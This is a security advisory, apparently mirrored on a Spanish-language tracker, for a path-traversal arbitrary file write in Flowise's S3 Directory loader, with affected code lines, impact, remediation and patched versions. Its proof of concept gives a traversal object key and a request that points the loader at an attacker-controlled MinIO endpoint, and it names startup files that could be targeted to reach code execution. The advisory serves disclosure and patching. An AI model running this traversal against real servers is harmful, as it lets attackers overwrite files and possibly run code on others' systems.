GHSA-88PR-878C-24WF
Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.1.3 | flowise-components · -40 d desde divulgación | |
| Divulgación | Publicada | GHSA-88PR-878C-24WF divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
## Summary
Flowise on current `main` allows an authenticated user with
`documentStores:preview-process` permission to trigger the `S3 Directory`
document loader with attacker-controlled S3 object keys. The loader joins
each returned S3 key with a temporary directory using `path.join(tempDir, key)`
and writes the object bytes to disk **without validating traversal sequences
such as `../`**. Cleanup later removes only the original temporary directory,
so files written outside that directory persist on the host filesystem.
This yields arbitrary file write with the privileges of the Flowise
server process.
A related variant exists in the `S3File` loader when
`fileProcessingMethod = unstructured` (same root cause; its cleanup behavior
turns it into a mixed arbitrary write/delete/DoS primitive).
## Affected component
- `packages/components/nodes/documentloaders/S3Directory/S3Directory.ts`
- line 191: `filePath = path.join(tempDir, key)` (unsanitized)
- line 213: recursive `mkdirSync` creates parent path
- line 216: `writeFileSync` writes attacker-controlled bytes
- line 289: cleanup only removes the original `tempDir`, so escaped
files remain on disk
- Related (variant):
`packages/components/nodes/documentloaders/S3File/S3File.ts`
(lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete)
## Reachability
- Routes exposed:
`packages/server/src/routes/documentstore/index.ts:41,45`
(`/api/v1/document-store/loader/preview`,
`/api/v1/document-store/loader/process/:loaderId`)
- Both require `documentStores:preview-process`
- `packages/server/src/services/documentstore/index.ts:588` passes
`data.loaderConfig` straight to the loader node **with no path
sanitization**
- `S3Directory` accepts a custom `serverUrl`, so the attacker does **not
need access to an existing trusted AWS bucket** — they can point Flowise
at a local MinIO or any S3-compatible endpoint they control
## Impact
- Authenticated arbitrary file write to any path writable by the Flowise
process
- Destructive overwrite of application data, secrets, or configuration
- Deployment-dependent lift to RCE if the service account can modify
executable, startup, or interpreter-loaded files
(e.g. `.bashrc`, systemd units, cron files, `require.resolve` targets,
`package.json` postinstall scripts). This is not guaranteed
product-wide.
## Preconditions
- Flowise instance running (HTTP server mode)
- Attacker has a workspace account with the
`documentStores:preview-process` role
- No additional infrastructure required — `serverUrl` can point to
attacker-controlled S3-compatible endpoint
## Proof of Concept
1. Authenticate as a user with `documentStores:preview-process`
2. Run an S3-compatible server the attacker controls (e.g. MinIO)
3. Create an object with a traversal key such as:
`../../../../tmp/flowise-poc.txt`
4. Trigger:
POST /api/v1/document-store/loader/preview
(or /api/v1/document-store/loader/process/:loaderId)
body: {
"loaderId": "s3Directory",
"loaderConfig": {
"serverUrl": "http://attacker-minio:9000",
"bucketName": "attacker-bucket",
"prefix": "",
"credential": ""
}
}
5. Observe that Flowise writes the object bytes to the escaped path
6. Observe that cleanup removes only the original temp directory; the
escaped file persists
Local reproduction confirmed: writing a key containing
`../../escape-target/poc.txt` from a nested temp root created the file
outside the temp directory, and the cleanup removed only `tempDir`.
## Root Cause
The loader trusts S3 object keys as safe local relative paths. It should
canonicalize the destination with `path.resolve(...)`, verify the resolved
path remains within the intended temp directory, and reject traversal or
absolute-path patterns before any directory creation or file write.
## Suggested Remediation
The repository already has shared path validators that are not used here:
- `packages/components/src/validator.ts:35` defines traversal checks
- `packages/components/src/validator.ts:295` defines `sanitizeFileName`
Recommended fix:
1. Replace `path.join(tempDir, key)` with a resolve-and-verify flow
2. Reject any resolved path outside `tempDir`
3. Prefer a sanitized basename if directory structure is not required
4. Apply the same fix to the `S3File` loader (`fileProcessingMethod = unstructured` branch)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmflowise-components |
Corregida | 3.1.3 | -40 d | 3.1.4 no afectada |
npmflowise |
Corregida | 3.1.3 | -40 d | 3.1.4 no afectada |
3.1.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-88pr-878c-24wfhttps://github.com/FlowiseAI/Flowise/pull/6549https://github.com/FlowiseAI/Flowise/commit/571b5d6218b1c129588ac625c8f20e30905a67cbhttps://github.com/FlowiseAI/Flowisehttps://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
